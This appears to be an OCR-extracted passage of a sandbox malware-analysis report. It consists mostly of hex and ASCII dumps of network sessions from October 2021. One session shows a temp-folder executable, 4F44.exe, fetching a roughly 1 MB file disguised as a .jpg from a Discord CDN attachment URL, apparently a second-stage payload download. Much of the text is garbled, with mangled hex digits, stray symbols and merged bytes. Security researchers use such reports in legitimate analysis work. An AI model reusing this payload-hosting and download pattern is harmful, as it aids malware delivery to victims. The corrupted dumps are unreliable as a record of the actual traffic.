20 4e 56 20 72 20 43 20 4e 72 43 20 4e 4e 20 43 20 43 20 56 4d 20 4e 4e 4e 20 59 49 20 43 20 43 20 4e 43 20 72 56 20
56 59 72 20 57 20 43 20 43 20 4e 4e 4e 20 63 72 20 43 20 43 20 4e 43 20 56 59 72 20 4e 72 20 59 20 43 20 56 59 72 20
4e 56 20 59 20 43 20 59 4d 20 4e 4c 20 43 20 43 20 43 20 56 59 72 20 57 20 4e 20 43 20 56 59 72 20 4e 56 20 59 20 43
20 4e 4e 4e 20 59 63 20 43 20 43 20 4e 43 20 72 56 20 43 20 43 20 43 20 4e 57 20 72 49 20 4c 20 43 20 4d 57 20 43 20
43 20 43 20 4e 57 20 43 20 43 20 4e 4d 20 56 59 72 20 57 20 43 20 43 20 4e
Data Ascii: NNN ¢V CCNC VYrNrrCVYrNLrCrCcLCCNCYINWCCCVYrWNCVYrNVrCNrCNNCCVM
NNNYICCNCrVVYrWCCNNNcrCCNCVYrNrYCVYrNVYCYMNLCCCVYrWNCVYrNVYCNNNYcC
CNCrVCCCNWIHLCMWCCCNWCCNMVYrWCCN

2021-10-29 18:29:09 UTC 1614 IN Data Raw: 4c 72 20 43 20 43 20 49 49 20 43 20 43 20 43 20 4c 59 20 49 59 20 49 4c 20 43 20 4e 63 43 20 4¢c 72 20 43 20

43 20 4e 63 20 43 20 43 20 43 20 4c 59 20 4d 4e 20 49 59 20 4d 4c 20 63 49 20 43 20 43 20 43 20 4e 4d 63 20 4c 72 20
432043 20 56 72 20 63 20 43 20 43 20 4c 59 20 63 63 20 4e 43 49 20 4e 4e 4e 20 57 49 20 43 20 43 20 43 20 43 20 43
20 43 20 43 20 56 20 43 20 43 20 4e 20 49 4d 20 4e 72 57 20 4e 63 56 20 63 4e 20 57 20 4e 59 20 43 20 43 20 43 20 56
59 43 20 4c 4d 20 59 4e 20 43 20 56 56 20 43 20 43 20 4e 20 43 20 43 20 43 20 57 4e 20 43 20 43 20 43 20 4e 72 20 43
20 43 20 43 20 4e 4e 20 43 20 43 20 43 20 63 49 20 43 20 43 20 43 20 56 43 20 43 20 43 20 43 20 4e 4e 63 20 43 20 43
20 43 20 59 57 20 43 20 43 20 43 20 4e 20 43 20 43 20 43 20 56 4d 20 43

Data Ascii: LrCCIICCCLYIYILCNcCLrCCNcCCCLYMNIYMLcICCCNMcLrCCVrcCCLYccNCINNN
WICCCCCCCVCCNIMNWNcVCcNWNYCCCVYCLMYNCVWCCNCCCWNCCCNICCCNNCCC
cICCCVCCCCNNcCCCYWCCCNCCCVMC

2021-10-29 18:29:09 UTC 1630 IN Data Raw: 4e 43 20 4e 43 4c 20 43 20 63 63 20 4e 4e 4d 20 4e 4e 72 20 4e 4e 72 20 4e 43 59 20 4e 4e 43 20 4e 43 4¢ 20
4320 49 72 20 4e 4e 4e 20 49 4c 20 4e 4e 63 20 4e 4e 72 20 4e 43 59 20 4e 4e 43 20 4e 43 4c 20 43 20 57 4d 20 4e 56
56 20 4e 4e 4e 20 4e 4e 63 20 4e 43 59 20 4e 4e 59 20 4e 43 59 20 4e 4e 43 20 4e 43 4¢ 20 43 20 4e 4e 4d 20 4e 4e 43
20 4e 43 72 20 57 4d 20 4e 4e 72 20 4e 4e 43 20 4e 43 4e 20 4e 4e 59 20 4e 4e 59 20 4e 43 59 20 4e 4e 43 20 4e 43 4c
20 43 20 4e 43 4c 20 4e 43 4e 20 4e 4e 63 20 57 59 20 4d 63 20 4e 43 4e 20 4e 4e 43 20 4e 43 4c¢ 20 4e 4e 63 20 4e 43
72 20 43 20 49 72 20 4e 43 57 20 4e 43 59 20 43 20 4d 4d 20 57 4d 20 4e 4e 72 20 4e 4e 59 20 4e 43 72 20 57 4d 20 4e
43 49 20 43 20 4e 4e 56 20 4e 4e 72 20 4e 4e 4e 20 4e 4e 63 20 4e 43 4e
Data Ascii: NC NCL C cc NNM NNr NNr NCY NNC NCL C Ir NNN IL NNc NNr NCY NNC NCL C WM NVV NNN NNc NCY
NNY NCY NNC NCL C NNM NNC NCr WM NNr NNC NCN NNY NNY NCY NNC NCL C NCL NCN NNc WY Mc NCN
NNC NCL NNc NCr C Ir NCW NCY C MM WM NNr NNY NCr WM NCI C NNV NNr NNN NNc NCN
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kBytes
Timestamp transferred

2021-10-29 18:29:09 UTC 1646

Session ID Source IP

3 192.168.2.3
kBytes

Timestamp transferred

2021-10-29 18:29:21 UTC 1652

2021-10-29 18:29:21 UTC 1652

2021-10-29 18:29:21 UTC 1653

2021-10-29 18:29:21 UTC 1653

2021-10-29 18:29:21 UTC 1654

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49826

Direction

ouT

Data

Data Raw: 43 20 4c 56 20 63 72 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20
4320 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43

204320 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20

43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43

2043 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20

43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43

2043 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43

DataAsci: CLVcrCCCCCCCCCCCCCCcCccccecceccececcecececececceccecceccececcececcecceccccceccce
cccccceccececcececcececccecccececcceccceccceccceccceccccecccccccccccccccccccccccce

cccceccececcececccecccecccecccccccccce

Destination IP Destination Port Process

162.159.130.233 443 C:\Users\user\AppData\Local\Temp\4F44.exe

Data

GET /attachments/893177342426509335/902526114763767818/A623D0D3.jpg HTTP/1.1
Host: cdn.discordapp.com
Connection: Keep-Alive

HTTP/1.1 200 OK

Date: Fri, 29 Oct 2021 18:29:21 GMT

Content-Type: image/jpeg

Content-Length: 1023400

Connection: close

CF-Ray: 6a5e7807ae5f695d-FRA

Accept-Ranges: bytes

Age: 280457

Cache-Control: public, max-age=31536000

ETag: "a79ffe2a90ab83e54cd38dd94a2b6a6d"

Expires: Sat, 29 Oct 2022 18:29:21 GMT

Last-Modified: Tue, 26 Oct 2021 11:56:33 GMT

Vary: Accept-Encoding

CF-Cache-Status: HIT

Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
Cf-Bgj: h2pri

Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
X-goog-generation: 1635249393939568

X-goog-hash: crc32c=mLSBFQ==

x-goog-hash: md5=p5/+KpCrg+VM043ZSitqbQ==

X-goog-metageneration: 1

X-goo0g-storage-class: STANDARD

X-g00g-stored-content-encoding: identity

X-goog-stored-content-length: 1023400

X-GUploader-UploadID: ADPycduXLAUOrhkOYYdjTYv8nzQOrUiGMROrq3qWR-Mu3t2dKo7sgrujSRWPDi2ARPYG
wmCngDDiBBlucDqiDRky3RaTOEIS3w

X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp

Report-To: {"endpoints”:[{"url":"https:VVa.nel.cloudflare.comV/report\/v3?s=GNaY3ddNvQ33oLPykwOP2w2Q650BNTPp
%2ByLeu36inix1G3BNrHxNuUa8v7K%2BBurPdRKnm6z50CWdm%2Fn11UPtdY9ImVuS5n01xR8bWxGaJol%2FtimZ3w
d3%2BK67r55CmmL3pLSEaA%3D%3D"}],"group”:“cf-nel","max_age":604800}

Data Raw: 4e 45 4c 3a 20 7b 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2c 22 72 65 70 6f 72 74 5f 74 6f
22 3a 22 63 66 2d 6e 65 6¢ 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 53 65 72 76 65 72 3a 20 63
6c 6f 75 64 66 6¢ 61 72 65 0d Oa 0d Oa

Data Ascii: NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflare

Data Raw: 78 4f 6f 45 4b 59 52 74 6b 51 2d 74 74 20 51 78 20 4f 4b 4b 20 78 20 45 20 78 20 78 20 78 20 4b 20 78 20 78
20 78 20 6f 59 59 20 6f 59 59 20 78 20 78 20 4f 6b 4b 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 52 4b 20 78 20 78 20
78207820 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78
20 7820 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 4f 6f 6b 20 78 20 78 20 78 20 4f 4b 20
45 4f 20 4f 6b 52 20 4f 4b 20 78 20 4f 6b 78 20 51 20 6f 78 59 20 45 45 20 4f 6b 4b 20 4f 20 74 52 20 6f 78 59 20 45 45 20
6b 4b 20 4f 78 4b 20 4f 78 59 20 4f 4f 59 20 45 6f 20 4f 4f 6f 20 4f 4f 4b 20 4f 4f 4f 20 4f 78 45 20 4f 4f 4b 20 51 74 20 4f 78
51 20 45 6f 20 51 51 20 51 74 20 4f 4f 78 20 4f

Data Ascii: XOOEKYRtkQ-tt Qx OKK x E X X X KX X X 0YY 0YY X X OKK X X X X X X X RK X X X X X X X X X X X X X X X X X X X X
XXXXXXXXXXXXXXX00kxxx OK EO OkR OK x Okx Q oxY EE OkK O tR oxY EE kK OxK OxY OOY Eo OOo OOK
000 OxE OOK Qt OxQ Eo QQ Qt OOx O

Data Raw: 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20
78207820 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78
20 78 20 78 20 6f 59 20 4b 78 20 6f 6f 51 20 4f 78 51 20 4f 4f 59 20 59 78 20 4b 6b 20 59 78 20 59 78 20 6b 4b 20 4f 4f 4b
20 4f 4f 74 20 4f 4b 52 20 4f 4b 45 20 59 78 20 4b 6b 20 4f 45 6b 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20
4f 4f 6f 20 59 78 20 4f 4f 6f 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20
59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f
4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59

Data ASCii: X XXX XXX XXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXO0Y Kx00Q OxQ OOY Yx Kk Yx Yx kK
OOK OOt OKR OKE Yx Kk OEk YK kk OOK OOt OxQ OO0 Yx 000 Yx YK kk OOK OOt OxQ OO0 Yx Kk Yx YK kK O
OK OOt OxQ 000 Yx Kk Yx YK kk OOK OOt OxQ OOo Y
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kBytes
Timestamp transferred Direction Data

2021-10-29 18:29:21 UTC 1656 IN Data Raw: 20 4f 78 20 4f 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4f 45 6f 20 4f 6b 45 20 59 59 20 6b 4b 20 4f 4f 4b 20 6b 59 20
4f 78 51 20 4f 4f 6f 20 59 78 20 4f 6b 4b 20 59 4f 20 59 4b 20 6b 4b 20 4f 4f 6b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78
20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 4f 6b 20 59 4b 20
6b 4b 20 4f 6b 20 51 4f 20 45 4f 20 45 20 52 4b 20 6b 45 20 59 78 20 59 4b 20 6b 4b 20 4f 74 6b 20 4f 4f 6b 20 4f 78 51 20
Af Af 6f 20 59 78 20 6f 4b 78 20 59 4f 20 59 4b 20 6b 4b 20 4f 4f 6b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 4f 51 78 20 4b 51
20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20
Af 4f 4b 20 59 45 20 4f 78 51
Data Ascii: Ox O OxQ OO0 Yx OEo OKE YY kK OOK kY OxQ OO0 Yx OkK YO YK kK OOk OOt OxQ OO0 Yx Kk Yx YK
kK OOK OOt OxQ OO0 Yx Kk Ok YK kK Ok QO EO E RK KE Yx YK kK Otk OOk OxQ OO0 Yx oKx YO YK kK OOk OOt
OxQ 000 0OQx KQ Yx YK kk OOK OOt OxQ OO0 Yx Kk Yx YK kK OOK YE OxQ

2021-10-29 18:29:21 UTC 1657 IN Data Raw: 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f
20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20
59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20
Af Af 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f
20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 Af 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20
59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20
Af 4f 74 20 4f 78 51 20 Af 4f 6f
Data Ascii: OxQ OO0 Yx Kk Yx YK kK OOK OOt OxQ OO0 Yx Kk Yx YK kk OOK OOt OxQ OO0 Yx Kk Yx YK kk OOK
OO0t OxQ 000 Yx Kk Yx YK kk OOK OOt OxQ OO0 Yx Kk Yx YK kk OOK OOt OxQ OO0 Yx Kk Yx YK kk OOK OOt Ox
Q OO0 Yx Kk Yx YK kk OOK OOt OxQ 000 Yx Kk Yx YK kk OOK OOt OxQ OOo

2021-10-29 18:29:21 UTC 1658 IN Data Raw: 4f 78 51 20 4f 4f 6f 20 59 52 20 45 51 20 45 74 20 4b 74 20 6f 4f 74 20 4b 6f 20 4f 4f 74 20 4f 78 51 20 4f 4f 45
20 6f 45 20 45 6b 20 52 4b 20 59 59 20 6b 4b 20 4f 4f 4b 20 59 20 45 4f 20 4b 4f 20 59 78 20 4b 6b 20 52 52 20 74 6f 20
74 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 6b 6b 20 4b 59 20 4b 6b 20 59 78 20 52 78 20 6f 4b 52 20 6b 74 20 51 6b 20
45 4f 20 4f 20 59 78 20 4b 6b 20 52 52 20 52 6b 20 6f 59 4f 20 4f 4f 4b 20 4f 4f 74 20 6f 51 20 4f 4b 20 4b 4b 20 4b 6b 20
59 78 20 52 78 20 4f 6f 4b 20 4f 78 51 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 4f 4b 4b 20 6f 4f 20 4b 6f 20 52 6b 20 4f 4b 74
20 4f 4f 4b 20 4f 4f 74 20 6f 51 20 6f 20 59 45 20 4b 51 20 59 78 20 74 78 20 4b 6f 20 4f 78 6b 20 4f 4f 74 20 4f 78 51 20
4f 6f 6f 20 6f 52 20 4b 74 20 59 78 20
Data Ascii: OxQ OO0 YR EQ Et Kt 00t Ko OOt OxQ OOE oE Ek RK YY kK OOK Y EO KO Yx Kk RR to tk OOK OOt OXE
kk KY Kk Yx Rx oKR kt Qk EO O Yx Kk RR Rk 0YO OOK OOt 0Q OK KK Kk Yx Rx OoK OxQ OOt OxQ Ooo OKK 00 Ko
Rk OKt OOK OOt 0Q o YE KQ Yx tx Ko Oxk OOt OxQ Ooo0 oR Kt Yx

2021-10-29 18:29:21 UTC 1660 IN Data Raw: 74 6b 20 6f 78 45 20 6b 4b 20 4f 4f 4b 20 4f 4f 45 20 52 51 20 4f 4f 4b 20 59 78 20 4b 6b 20 6f 59 20 6b 51 20
Af 4f 6f 20 Af 4f 59 20 4f 4f 74 20 4f 78 74 20 51 74 20 59 59 20 45 45 20 59 4b 20 6f 78 78 20 6b 6f 20 4f 52 4b 20 4f 4f 52
20 4f 78 51 20 4f 4f 6b 20 52 59 20 45 78 20 59 78 20 59 4b 20 51 4b 20 4f 6f 20 4f 45 51 20 4f 78 51 20 4f 4f 6f 20 59 4b
20 6f 4f 20 45 4f 20 45 45 20 4f 4f 4b 20 4f 6f 20 4f 4b 6f 20 4f 78 51 20 4f 4f 6f 20 59 4b 20 6f 78 52 20 59 6f 20 6f 45 59 2(
6b 59 20 4f 4f 4b 20 4f 4f 59 20 45 78 20 51 59 20 59 78 20 4b 6b 20 59 52 20 4f 51 20 6f 4f 6f 20 4f 4b 78 20 4f 4f 74 20 4f
78 51 20 4f 4f 52 20 6f 52 20 59 4f 20 59 78 20 59 4b 20 4f 6f 74 20 6f 51 20 51 59 20 4f 78 6b 20 4f 4f 6f 20 59 6f 20 45 45
20 59 59 20 45 51 20 6b
Data Ascii: tk oxE kk OOK OOE RQ OOK Yx Kk oY kQ OO0 OOY OOt Oxt Qt YY EE YK oxx ko ORK OOR OxQ OOk RY
Ex Yx YK QK Oo OEQ OxQ OO0 YK 00 EO EE OOK Oo OKo OxQ OO0 YK 0xR Yo oEY kY OOK OOY Ex QY Yx Kk YR
0Q 000 OKx OOt OxQ OOR oR YO Yx YK Oot 0Q QY Oxk OOo Yo EE YY EQ k

2021-10-29 18:29:21 UTC 1661 IN Data Raw: 20 4f 78 51 20 4f 6f 6f 20 52 59 20 6b 20 59 78 20 59 4b 20 51 4b 20 51 78 20 74 52 20 4f 78 51 20 4f 4f 6f 20
59 52 20 59 51 20 59 45 20 45 78 20 4f 4f 78 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 51 45 20 59 45 20 59 4b 20 52 45 20 6f
45 59 20 4f 6f 74 20 4f 4f 59 20 4f 4f 74 20 4f 78 51 20 4f 4f 4b 20 6f 52 20 59 52 20 59 78 20 59 4b 20 6b 6f 20 4f 6f 52 20
Af 4f 4b 20 45 78 20 6f 4f 51 20 59 78 20 4b 6b 20 59 6f 20 45 74 20 6b 78 20 51 51 20 4f 4f 45 20 4f 4f 45 20 6f 59 45 20
4f 78 4b 20 4b 6b 20 59 78 20 59 59 20 4f 4f 45 20 4f 52 6f 20 6f 6f 6f 20 4f 78 51 20 4f 4f 6f 20 59 4b 20 6f 4b 20 59 20 59
4b 20 6b 4b 20 4f 6f 78 20 52 20 6b 59 20 4f 4f 6f 20 59 78 20 59 6b 20 51 45 20 4f 45 59 20 6b 4b 20 4f 4f 4b 20 4f 4f 59
20 74 59 20 4f 78 6f 20 45 45 20
Data Ascii: OxQ 000 RY k Yx YK QK Qx tR OxQ OO0 YR YQ YE Ex OOx OOK OOt OxE QE YE YK RE oEY Oot OOY
OO0t OxQ OOK oR YR Yx YK ko OoR OOK Ex 00Q Yx Kk Yo Et kx QQ OOE OOE oYE OxK Kk Yx YY OOE ORo 000 Ox
Q OO0 YK 0K Y YK kK Oox R kY OO0 Yx Yk QE OEY kK OOK OOQY tY Oxo EE

2021-10-29 18:29:21 UTC 1662 IN Data Raw: 6f 20 59 78 20 4b 6b 20 59 6f 20 59 4b 20 6b 4b 20 4f 4f 4b 20 45 6b 20 4f 78 6b 20 4f 4f 6f 20 59 78 20 4f 78
59 20 59 4f 20 59 4b 20 6b 4b 20 4f 4f 45 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 52 4f 20 4b 6b 20 59 78 20 59 59 20 74 51
20 52 52 20 4f 4f 59 20 4f 78 51 20 59 6f 20 4b 6b 20 4b 6b 20 59 78 20 59 45 20 6b 4b 20 4f 4f 4b 20 4f 78 78 20 45 78 20
74 51 20 59 78 20 4b 6b 20 59 52 20 52 78 20 6b 52 20 4f 4f 4f 20 6f 4b 6b 20 59 59 20 4f 4f 6f 20 59 78 20 4b 51 20 6f 45
20 6f 45 78 20 4f 4b 78 20 4f 4f 4b 20 4f 4f 74 20 4f 78 59 20 6b 6b 20 59 20 4b 6b 20 59 78 20 52 78 20 45 51 20 74 4b
20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 6f 52 20 51 20 59 78 20 59 4b 20 51 4b 20 4f 6f 4f 20 4f 4f 4b 20 52 51 20 74 4b 20 59
78 20 4b 6b 20 59 52 20 6f 74 20 6b 45
Data Ascii: 0 Yx Kk Yo YK kK OOK Ek Oxk OO0 Yx OxY YO YK kK OOE OOt OxQ OO0 RO Kk Yx YY tQ RR OOY OxQ
Yo Kk Kk Yx YE kK OOK Oxx Ex tQ Yx Kk YR Rx kR OO0 oKk YY OO0 Yx KQ oE oEx OKx OOK OOt OxY kk Y Kk Yx
Rx EQ tK OOt OxQ 000 oR Q Yx YK QK 000 OOK RQ tK Yx Kk YR ot kE

2021-10-29 18:29:21 UTC 1664 IN Data Raw: 20 4f 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 6b 20 6b 59 20 6f 6f 52 20 6f 4f 4b 20 59 78 20 59 4b 20 6b 78 20 51 78
20 52 52 20 4f 78 51 20 4f 4f 6f 20 59 52 20 52 74 20 4f 78 20 59 4b 20 6b 4b 20 4f 6f 78 20 6f 52 20 4f 51 45 20 4f 4f 6f 20
59 78 20 59 4b 20 51 45 20 4f 45 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 6f 20 74 6f 20 59 4f 20 4b 6b 20 59 6f 20 45 51 20 6b
45 20 51 51 20 4f 4f 45 20 4f 6f 4b 20 4f 4f 74 20 4b 59 20 52 45 20 4f 51 4f 20 4f 78 6b 20 6b 4b 20 4f 4f 4b 20 4f 4f 52 20
74 6f 20 4f 52 78 20 4f 59 59 20 4b 6b 20 59 78 20 59 78 20 4f 6f 4b 20 52 51 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 52 59
20 6b 20 59 78 20 59 4b 20 51 4b 20 6f 51 20 6f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 6f 20 59 52 20 6f 52 20 4b 6b 20 6b 4b
20 4f 4f 4b 20 4f 4f 59 20 6f
Data Ascii: OK OOK OOt Oxk kY 00R 00K Yx YK kx Qx RR OxQ OO0 YR Rt Ox YK kK Oox oR OQE OOo Yx YK QE OE
kK OOK Oot 0 to YO Kk Yo EQ kE QQ OOE OoK OOt KY RE OQO Oxk kk OOK OOR to ORXx OYY Kk Yx Yx OoK RQ
OO0t OxQ 000 RY k Yx YK QK 0Q 00t OxQ OO0 Yo YR oR Kk kk OOK OOY o

2021-10-29 18:29:21 UTC 1665 IN Data Raw: 45 20 4b 4f 20 4f 6b 74 20 4f 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 6b 20 6b 59 20 6f 6f 52 20 4f 45 6f 20 59 78 20
59 4b 20 6b 78 20 51 78 20 52 52 20 4f 78 51 20 4f 4f 6f 20 59 52 20 52 74 20 4f 78 20 59 4b 20 6b 4b 20 4f 6f 78 20 6f 52
20 4f 51 45 20 4f 4f 6f 20 59 78 20 59 4b 20 51 45 20 4f 45 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 4f 6f 52 20 4f 4f 51 20 45 59
20 59 59 20 4b 45 20 4f 6b 74 20 4f 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 6b 20 6b 59 20 6f 6f 52 20 4f 59 51 20 59 78 20 59
4b 20 6b 78 20 51 78 20 52 52 20 4f 78 51 20 4f 4f 6f 20 59 52 20 52 74 20 4f 78 20 59 4b 20 6b 4b 20 4f 6f 78 20 6f 52 20
4b 59 20 4f 4f 6f 20 59 78 20 59 6b 20 45 4f 20 4b 4f 20 52 51 20 4f 4f 74 20 4f 78 6b 20 6f 6f 4b 20 4b 6f 20 59 78 20 4b
6b 20 59 4f 20 4f 51 20 4f 45 6f
Data Ascii: E KO Okt OK OOK OOt Oxk kY 0oR OEo Yx YK kx Qx RR OxQ OO0 YR Rt Ox YK kK Oox oR OQE OOo Yx
YK QE OE kK OOK Oot OoR OOQ EY YY KE Okt OK OOK OOt Oxk kY 0oR OYQ Yx YK kx Qx RR OxQ OO0 YR Rt Ox
YK kK Oox oR KY OO0 Yx Yk EO KO RQ OOt Oxk ooK Ko Yx Kk YO OQ OEo
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kBytes
Timestamp transferred Direction Data

2021-10-29 18:29:21 UTC 1666 IN Data Raw: 59 20 59 59 20 4f 4b 20 52 51 20 4f 4f 59 20 4f 4f 74 20 4f 78 51 20 4f 78 78 20 45 45 20 59 4b 20 45 59 20 59
78 20 52 51 20 4f 4f 51 20 4f 78 52 20 4f 6f 78 20 6f 59 45 20 4f 78 4b 20 4b 6b 20 59 78 20 59 59 20 4f 4f 45 20 4f 52 6f
20 4f 59 74 20 4f 78 51 20 4f 4f 6 20 59 4b 20 6f 4b 20 59 20 59 4b 20 6b 4b 20 4f 6f 78 20 52 20 6b 59 20 4f 4f 6f 20 59
78 20 59 6b 20 51 45 20 4f 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 59 20 4f 78 4f 20 6b 6b 20 59 6f 20 4b 6b 20 59 78 20 4b 6b
20 45 6b 20 4f 20 4f 4f 51 20 4f 78 51 20 78 20 74 52 20 4b 52 20 59 78 20 59 4b 20 51 4b 20 6f 51 20 4f 78 52 20 4f 78 51
20 4f 41 6f 20 59 52 20 45 59 20 59 45 20 52 51 20 4f 52 20 4f 4f 59 20 4f 4f 74 20 4f 78 74 20 51 51 20 59 6b 20 45 45 20
59 6b 20 45 51 20 6b 78 20 51 51 20 4f
Data Ascii: Y YY OK RQ OOY OOt OxQ Oxx EE YK EY Yx RQ 0OOQ OxR Qox 0YE OxK Kk Yx YY OOE ORo OYt OxQ O
00 YK oK Y YK kK Oox R kY 000 Yx Yk QE OYK kk OOK 0OY OxO kk Yo Kk Yx Kk Ek O 00Q OxQ x tR KR Yx YK QK
0Q OxR OxQ 000 YR EY YE RQ OR OOY OOt Oxt QQ Yk EE Yk EQ kx QQ O

2021-10-29 18:29:21 UTC 1668 IN Data Raw: 45 20 4f 74 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 4f 4f 4b 20 52 20 4f 20 4b 6f 20 4b 6b 20 45 45 20 59 51 20 6b
59 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 4b 59 20 4f 20 4f 20 59 74 20 6b 74 20 51 78 20 52 6f 20 4f 78 51 20 4f 4f 6f 20 59
52 20 59 78 20 6f 52 20 4b 78 20 6b 4b 20 4f 4f 4b 20 4f 4f 59 20 4f 78 45 20 51 4f 20 52 78 20 59 78 20 45 52 20 45 4b 20
Af 6f 4b 20 6b 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6b 20 51 45 20 4f 4f 20 59 78 20 59 4b 20 51 4b 20 4f 6f 78 20 4f 74 4f 20
Af 4f 78 20 6b 52 20 6f 45 52 20 4b 6b 20 59 6f 20 6f 6b 20 6b 59 20 51 6b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 5
9 4b 20 59 78 20 45 20 4f 4f 4f 20 4f 4f 4b 20 4f 4f 6b 20 51 6b 20 4f 4f 6f 20 59 78 20 4b 51 20 45 45 20 52 20 6b 52 20 4f
4f 4b 20 6b 6f 20 4f 78 51 20
Data Ascii: E Ot kK OOK Oot OOK R O Ko Kk EE YQ kY OOt OxQ Ooo KY O O Yt kt Qx Ro OxQ OO0 YR Yx oR Kx kK
OOK OO0Y OxE QO Rx Yx ER EK OoK kK OOt OxQ OOk QE OO Yx YK QK Oox OtO OOx kR oER Kk Yo ok kY Qk OOt
OxQ 000 Yx YK Yx E OOO OOK OOk Qk OO0 Yx KQ EE R kR OOK ko OxQ

2021-10-29 18:29:21 UTC 1669 IN Data Raw: 4f 4f 52 20 51 45 20 4f 78 4f 20 4f 4f 6f 20 59 78 20 6f 74 20 51 45 20 6f 4b 6b 20 6b 59 20 4f 4f 4b 20 4f 4f 59
20 6f 20 4f 52 4f 20 59 4f 20 4b 6b 20 59 6f 20 52 78 20 4f 45 6b 20 4f 4f 45 20 6b 45 20 4f 74 51 20 4f 4f 6f 20 6f 45 52 20
59 4f 20 6f 78 20 6f 45 6f 20 6b 4b 20 4f 4f 52 20 51 59 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4f 4f 45 20 52 20 59 4b 20 6b 4b
20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 74 20 4b 51 20 59 78 20 59 4b 20 74 52 20 4f 4f 4b 20 4f 4f 74 20 4 78
51 20 6b 45 20 59 4f 20 4b 6b 20 59 78 20 59 45 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 51 6b 20 4f 4f 6f 20 59 78 20 4b 51 20
